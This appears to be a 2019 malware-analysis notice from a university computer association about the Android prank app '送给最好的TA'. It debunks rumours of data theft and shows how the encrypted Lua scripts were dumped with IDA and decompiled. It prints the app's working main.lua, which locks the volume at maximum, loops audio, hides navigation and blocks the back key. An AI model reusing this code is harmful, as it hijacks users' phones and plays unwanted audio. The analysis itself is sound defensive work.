联系我们


学院办公室:89534639

学生工作办公室:89534640

89534638

重点实验室:89534290

实验室办公室:89534104

协同创新中心:80570780

计算机协会 | 恶意app预警与分析

2019-09-30  点击:

恶意app预警与分析--
送给最好的TA--北物计算机协会信息安全组

2019年9月27日,一款名叫“送给最好的TA”的流氓软件在网络上传播,多个高校沦陷。该软件一旦打开会自动将音量调成最大,播放娇喘声音,且无法关机。安装后持续播放娇喘,自动调到最大音量外放且无法调低声音,在各大高校病毒式传播。

经过逆向分析,此为谣言。此软件不存在此类功能!

网上流传的截图、获取设备信息、获取位置信息并上传等行为均不存在。相关代码实际上并没有被调用,只是打包apk时封装进去的类,关键逻辑位于main.lua中。此外,此应用虽然申请了网络权限,但是没有进行网络操作。

打开assets文件夹,看到有一个mp3文件以及两个加密后的lua脚本

main.lua为本app的运行脚本,o.mp3即为运行app后自动循环播放的文件。

使用IDA打开,经过分析找到函数luaL_loadbufferx。已知luaL_loadbufferx的第二个参数是加密的字节数组,第三个参数是大小,第四个参数是lua文件位置。程序在这个函数中加载加密lua脚本。根据第四个参数我们可以区分目前加载的lua脚本名称,从而选择性地dump。

IDA在第41行断下之后,运行python脚本dump即可

Python脚本:

import idaapi

data = idaapi.dbg_read_memory(0xf4daff00, 0x3000)

fp = open('d:\\dump.lua', 'wb')

fp.write(data)

fp.close()

此处的0xf4daff00, 0x3000需要替换成解密后字节的起始地址和长度长度写大一点也没事,可以再用010Editor删除。

由于dump出来的lua是字节码,并不是源码形式。所以还需要反编译后才能查看源码。(使用unluac_2015_06_13.jar进行反编译)

init.lua中进行包名、版本号、主题、权限等配置

local L0_0

appname = "送给最好的TA"

appver = "1.0"

appcode = "10"

appsdk = "15"

path_pattern = ""

packagename = "com.sgzh.dt"

theme = "Theme_DeviceDefault_Dialog_NoActionBar_MinWidth"

app_key = ""

app_channel = ""

developer = ""

description = ""

debugmode = false

L0_0 = {

  "INTERNET",

  "WRITE_EXTERNAL_STORAGE"

}

user_permission = L0_0

主要功能在main.lua中完成:

require("import")

import("android.app.*")

import("android.os.*")

import("android.widget.*")

import("android.view.*")

import("android.view.View")

import("android.content.Context")

import("android.media.MediaPlayer")

import("android.media.AudioManager")

import("com.androlua.Ticker")

activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)

activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)

m = MediaPlayer()

m.reset()

m.setDataSource(activity.getLuaDir() .. "/0.mp3")

m.prepare()

m.start()

m.setLooping(true)

ti = Ticker()

ti.Period = 10

function ti.onTick()

  activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)

  activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)

end

ti.start()

function onKeyDown(A0_0, A1_1)

  if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then

    activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)

  end

  return true

End

关闭